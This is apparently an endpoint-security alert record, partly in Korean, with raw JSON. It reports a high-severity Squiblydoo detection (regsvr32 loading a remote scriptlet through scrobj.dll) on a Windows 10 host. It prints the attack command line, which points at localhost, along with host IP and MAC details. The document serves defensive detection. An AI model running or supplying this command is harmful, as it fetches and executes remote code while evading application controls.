Alert Information
High
- Alert ID
ind:561559e2fcea400ba3601b74d64aa30b:150227967626-10191-20850192- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:561559e2fcea400ba3601b74d64aa30b:150227967626-10191-20850192- 설명
- A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.
- 호스트
- DESKTOP-FNUMV3U
- 상태
- new
- 생성 시간
- 2025-12-22 07:24:38
- 업데이트 시간
- 2025-12-22 08:23:38
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- Regsvr32
Command Line
regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll
Raw JSON Data
{"id":"ind:561559e2fcea400ba3601b74d64aa30b:150227967626-10191-20850192","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:561559e2fcea400ba3601b74d64aa30b:150227967626-10191-20850192","agent_id":"561559e2fcea400ba3601b74d64aa30b","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.","severity":70,"severity_name":"High","confidence":80,"tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Regsvr32","technique_id":"T1218.010","cmdline":"regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll","filename":"regsvr32.exe","filepath":"\\Device\\HarddiskVolume1\\Windows\\System32\\regsvr32.exe","sha256":"022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7","status":"new","type":"ldt","created_timestamp":"2025-12-21T22:24:38.937047429Z","updated_timestamp":"2025-12-21T23:23:38.945762944Z","device":{"device_id":"561559e2fcea400ba3601b74d64aa30b","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"DESKTOP-FNUMV3U","local_ip":"172.26.224.1","external_ip":"14.47.49.244","mac_address":"00-15-5d-52-e9-ba","platform_name":"Windows","os_version":"Windows 10"},"aggregate_id":"aggind:561559e2fcea400ba3601b74d64aa30b:4495904578","CreatedAt":"2025-12-22T07:24:38.9370474+09:00","UpdatedAt":"2025-12-22T08:23:38.9457629+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
561559e2fcea400ba3601b74d64aa30b
Actions